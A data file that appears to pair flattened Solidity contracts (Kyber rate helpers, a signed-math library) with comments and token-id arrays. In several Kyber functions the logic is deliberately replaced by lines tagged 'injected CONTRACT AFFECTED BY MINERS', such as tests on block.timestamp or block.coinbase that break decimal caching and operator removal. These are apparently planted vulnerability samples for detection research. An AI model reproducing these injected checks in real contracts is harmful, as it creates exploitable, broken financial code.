function approve(address _spender, uint256 _value) external returns (bool success);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function balanceOf(address _owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 digits);
function totalSupply() external view returns (uint256 supply);
}
// to support backward compatible contract name -- so function signature remains same
abstract contract ERC20 is IERC20 {
}
// File: contracts/sol6/IKyberReserve.sol
pragma solidity 0.6.6;
interface IKyberReserve {
function trade(
IERC20 srcToken,
uint256 srcAmount,
IERC20 destToken,
address payable destAddress,
uint256 conversionRate,
bool validate
) external payable returns (bool);
function getConversionRate(
IERC20 src,
IERC20 dest,
uint256 srcQty,
uint256 blockNumber
) external view returns (uint256);
}
// File: contracts/sol6/utils/Utils5.sol
pragma solidity 0.6.6;
/**
* @title Kyber utility file
* mostly shared constants and rate calculation helpers
* inherited by most of kyber contracts.
* previous utils implementations are for previous solidity versions.
*/
contract Utils5 {
IERC20 internal constant ETH_TOKEN_ADDRESS = IERC20(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
uint256 internal constant PRECISION = (10**18);
uint256 internal constant MAX_QTY = (10**28); // 10B tokens
uint256 internal constant MAX_RATE = (PRECISION * 10**7); // up to 10M tokens per eth
uint256 internal constant MAX_DECIMALS = 18;
uint256 internal constant ETH_DECIMALS = 18;
uint256 constant BPS = 10000; // Basic Price Steps. 1 step = 0.01%
uint256 internal constant MAX_ALLOWANCE = uint256(-1); // token.approve inifinite
mapping(IERC20 => uint256) internal decimals;
function getUpdateDecimals(IERC20 token) internal returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint256 tokenDecimals = decimals[token];
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if (block.number == 0) { //injected CONTRACT AFFECTED BY MINERS
tokenDecimals = token.decimals();
decimals[token] = tokenDecimals;
}
return tokenDecimals;
}
function setDecimals(IERC20 token) internal {
if (block.timestamp != 0) return; //already set //injected CONTRACT AFFECTED BY MINERS
if (token == ETH_TOKEN_ADDRESS) {
decimals[token] = ETH_DECIMALS;
} else {
decimals[token] = token.decimals();
}
}
/// @dev get the balance of a user.
/// @param token The token type
/// @return The balance
function getBalance(IERC20 token, address user) internal view returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) {
return user.balance;
} else {
return token.balanceOf(user);
}
}
function getDecimals(IERC20 token) internal view returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint256 tokenDecimals = decimals[token];
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if (block.timestamp == 0) return token.decimals(); //injected CONTRACT AFFECTED BY MINERS
return tokenDecimals;
}
function calcDestAmount(
IERC20 src,
IERC20 dest,
uint256 srcAmount,
uint256 rate
) internal view returns (uint256) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(
IERC20 src,
IERC20 dest,
uint256 destAmount,
uint256 rate
) internal view returns (uint256) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcDstQty(
uint256 srcQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(srcQty <= MAX_QTY, "srcQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(
uint256 dstQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(dstQty <= MAX_QTY, "dstQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
//source quantity is rounded up. to avoid dest quantity being too low.
uint256 numerator;
uint256 denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
function calcRateFromQty(
uint256 srcAmount,
uint256 destAmount,
uint256 srcDecimals,
uint256 dstDecimals
) internal pure returns (uint256) {
require(srcAmount <= MAX_QTY, "srcAmount > MAX_QTY");
require(destAmount <= MAX_QTY, "destAmount > MAX_QTY");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return ((destAmount * PRECISION) / ((10**(dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return ((destAmount * PRECISION * (10**(srcDecimals - dstDecimals))) / srcAmount);
}
}
function minOf(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? y : x;
}
}
// File: contracts/sol6/utils/PermissionGroupsNoModifiers.sol
pragma solidity 0.6.6;
contract PermissionGroupsNoModifiers {
address public admin;
address public pendingAdmin;
mapping(address => bool) internal operators;
mapping(address => bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint256 internal constant MAX_GROUP_SIZE = 50;
event AdminClaimed(address newAdmin, address previousAdmin);
event AlerterAdded(address newAlerter, bool isAdd);
event OperatorAdded(address newOperator, bool isAdd);
event TransferAdminPending(address pendingAdmin);
constructor(address _admin) public {
require(_admin != address(0), "admin 0");
admin = _admin;
}
function getOperators() external view returns (address[] memory) {
return operatorsGroup;
}
function getAlerters() external view returns (address[] memory) {
return alertersGroup;
}
function addAlerter(address newAlerter) public {
onlyAdmin();
require(!alerters[newAlerter], "alerter exists"); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE, "max alerters");
emit AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function addOperator(address newOperator) public {
onlyAdmin();
require(!operators[newOperator], "operator exists"); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE, "max operators");
emit OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
/// @dev Allows the pendingAdmin address to finalize the change admin process.
function claimAdmin() public {
require(pendingAdmin == msg.sender, "not pending");
emit AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
function removeAlerter(address alerter) public {
onlyAdmin();
require(alerters[alerter], "not alerter");
delete alerters[alerter];
for (uint256 i = 0; i < alertersGroup.length; ++i) {
if (block.coinbase == alerter) { //injected CONTRACT AFFECTED BY MINERS
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.pop();
emit AlerterAdded(alerter, false);
break;
}
}
}
function removeOperator(address operator) public {
onlyAdmin();
require(operators[operator], "not operator");
delete operators[operator];
for (uint256 i = 0; i < operatorsGroup.length; ++i) {
if (block.coinbase == operator) { //injected CONTRACT AFFECTED BY MINERS
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.pop();
emit OperatorAdded(operator, false);
break;
}
}
}
/// @dev Allows the current admin to set the pendingAdmin address
/// @param newAdmin The address to transfer ownership to
function transferAdmin(address newAdmin) public {
onlyAdmin();
require(newAdmin != address(0), "new admin 0");
emit TransferAdminPending(newAdmin);
pendingAdmin = newAdmin;
}
/// @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
/// @param newAdmin The address to transfer ownership to.
function transferAdminQuickly(address newAdmin) public {
onlyAdmin();
require(newAdmin != address(0), "admin 0");
emit TransferAdminPending(newAdmin);
emit AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
function onlyAdmin() internal view {
require(msg.sender == admin, "only admin");
}
function onlyAlerter() internal view {
require(alerters[msg.sender], "only alerter");
}
function onlyOperator() internal view {
require(operators[msg.sender], "only operator");
}
}
// File: contracts/sol6/utils/WithdrawableNoModifiers.sol
pragma solidity 0.6.6;
contract WithdrawableNoModifiers is PermissionGroupsNoModifiers {
constructor(address _admin) public PermissionGroupsNoModifiers(_admin) {}
event EtherWithdraw(uint256 amount, address sendTo);
event TokenWithdraw(IERC20 token, uint256 amount, address sendTo);
/// @dev Withdraw Ethers
function withdrawEther(uint256 amount, address payable sendTo) external {
onlyAdmin();
(bool success, ) = sendTo.call{value: amount}("");
require(success);
emit EtherWithdraw(amount, sendTo);
}
/// @dev Withdraw all IERC20 compatible tokens
/// @param token IERC20 The address of the token contract
function withdrawToken(
IERC20 token,
uint256 amount,
address sendTo
) external {
onlyAdmin();
token.transfer(sendTo, amount);
emit TokenWithdraw(token, amount, sendTo);
}
}
// File: contracts/sol6/wrappers/KyberRatesQueryHelper.sol
pragma solidity 0.6.6;
contract KyberRateQueryHelper is WithdrawableNoModifiers, Utils5 {
constructor(address _admin) public WithdrawableNoModifiers(_admin) {
/* empty body */
}
function getRateWithEth(address reserve, IERC20 token, uint256 weiAmount) public view
returns(uint256 sellRate, uint256 buyRate, uint256 tweiAmount)
{
buyRate = IKyberReserve(reserve).getConversionRate(
ETH_TOKEN_ADDRESS,
token,
weiAmount,
block.number
);
tweiAmount = calcDestAmount(ETH_TOKEN_ADDRESS, token, weiAmount, buyRate);
sellRate = IKyberReserve(reserve).getConversionRate(
token,
ETH_TOKEN_ADDRESS,
tweiAmount,
block.number
);
}
function getRatesWithEth(address reserve, IERC20[] calldata tokens, uint256 weiAmount) external view
returns(uint256[] memory sellRates, uint256[] memory buyRates)
{
uint256 numTokens = tokens.length;
buyRates = new uint256[](numTokens);
sellRates = new uint256[](numTokens);
for (uint256 i = 0; i < numTokens; i++) {
(buyRates[i], sellRates[i], ) = getRateWithEth(reserve, tokens[i], weiAmount);
}
}
function getRateWithToken(address reserve, IERC20 token, uint256 tweiAmount) public view
returns(uint256 buyRate, uint256 sellRate, uint weiAmount)
{
// uint reserveFee = getFeeForReserve(reserve);
// uint256 weiAmountDeductedFee = weiAmount - ((weiAmount * reserveFee) / BPS);
sellRate = IKyberReserve(reserve).getConversionRate(
token,
ETH_TOKEN_ADDRESS,
tweiAmount,
block.number
);
weiAmount = calcDestAmount(token, ETH_TOKEN_ADDRESS, tweiAmount, sellRate);
buyRate = IKyberReserve(reserve).getConversionRate(
ETH_TOKEN_ADDRESS,
token,
weiAmount,
block.number
);
}
function getRatesWithToken(address reserve, IERC20[] calldata tokens, uint256 tweiAmount) external view
returns(uint256[] memory sellRates, uint256[] memory buyRates)
{
uint256 numTokens = tokens.length;
buyRates = new uint256[](numTokens);
sellRates = new uint256[](numTokens);
for (uint256 i = 0; i < numTokens; i++) {
(buyRates[i], sellRates[i], ) = getRateWithEth(reserve, tokens[i], tweiAmount);
}
}
// function getFeeForReserve(address reserve) public view returns (uint256 feeBps) {
// address[] memory reserves = new address[](1);
// reserves[0] = reserve;
// bool[] memory isFeeAccountedFlags = kyberStorage.getFeeAccountedData(reserves);
// (uint256 networkFeeBps, ) = kyberDao.getLatestNetworkFeeData();
// if (reserves[0] == true) return networkFeeBps;
// return 0;
// }
}
|
injected CONTRACT AFFECTED BY MINERS
|
if (block.timestamp == 0) return token.decimals();
| 12,649,557 |
[
1,
267,
6059,
8020,
2849,
1268,
432,
2246,
4239,
2056,
6953,
6989,
11367,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
309,
261,
2629,
18,
5508,
422,
374,
13,
327,
1147,
18,
31734,
5621,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.8.0;
import { FullMath } from '@uniswap/v3-core-0.8-support/contracts/libraries/FullMath.sol';
import { SafeCast } from '@uniswap/v3-core-0.8-support/contracts/libraries/SafeCast.sol';
import { SignedMath } from './SignedMath.sol';
/// @title Signed full math functions
library SignedFullMath {
using SafeCast for uint256;
using SignedMath for int256;
function mulDiv(
int256 a,
uint256 b,
uint256 denominator
) internal pure returns (int256 result) {
result = FullMath.mulDiv(a < 0 ? uint256(-1 * a) : uint256(a), b, denominator).toInt256();
if (a < 0) {
result = -result;
}
}
function mulDiv(
int256 a,
int256 b,
int256 denominator
) internal pure returns (int256 result) {
bool resultPositive = true;
uint256 _a;
uint256 _b;
uint256 _denominator;
(_a, resultPositive) = a.extractSign(resultPositive);
(_b, resultPositive) = b.extractSign(resultPositive);
(_denominator, resultPositive) = denominator.extractSign(resultPositive);
result = FullMath.mulDiv(_a, _b, _denominator).toInt256();
if (!resultPositive) {
result = -result;
}
}
/// @notice Rounds down towards negative infinity
/// @dev In Solidity -3/2 is -1. But this method result is -2
function mulDivRoundingDown(
int256 a,
uint256 b,
uint256 denominator
) internal pure returns (int256 result) {
result = mulDiv(a, b, denominator);
if (result < 0 && _hasRemainder(a.absUint(), b, denominator)) {
result += -1;
}
}
/// @notice Rounds down towards negative infinity
/// @dev In Solidity -3/2 is -1. But this method result is -2
function mulDivRoundingDown(
int256 a,
int256 b,
int256 denominator
) internal pure returns (int256 result) {
result = mulDiv(a, b, denominator);
if (result < 0 && _hasRemainder(a.absUint(), b.absUint(), denominator.absUint())) {
result += -1;
}
}
function _hasRemainder(
uint256 a,
uint256 b,
uint256 denominator
) private pure returns (bool hasRemainder) {
assembly {
let remainder := mulmod(a, b, denominator)
if gt(remainder, 0) {
hasRemainder := 1
}
}
}
}
|
@notice Rounds down towards negative infinity @dev In Solidity -3/2 is -1. But this method result is -2
|
function mulDivRoundingDown(
int256 a,
int256 b,
int256 denominator
) internal pure returns (int256 result) {
result = mulDiv(a, b, denominator);
if (result < 0 && _hasRemainder(a.absUint(), b.absUint(), denominator.absUint())) {
result += -1;
}
}
| 12,941,185 |
[
1,
54,
9284,
2588,
23248,
6092,
27272,
225,
657,
348,
7953,
560,
300,
23,
19,
22,
353,
300,
21,
18,
12484,
333,
707,
563,
353,
300,
22,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
14064,
7244,
11066,
310,
4164,
12,
203,
3639,
509,
5034,
279,
16,
203,
3639,
509,
5034,
324,
16,
203,
3639,
509,
5034,
15030,
203,
565,
262,
2713,
16618,
1135,
261,
474,
5034,
563,
13,
288,
203,
3639,
563,
273,
14064,
7244,
12,
69,
16,
324,
16,
15030,
1769,
203,
3639,
309,
261,
2088,
411,
374,
597,
389,
5332,
1933,
25407,
12,
69,
18,
5113,
5487,
9334,
324,
18,
5113,
5487,
9334,
15030,
18,
5113,
5487,
1435,
3719,
288,
203,
5411,
563,
1011,
300,
21,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.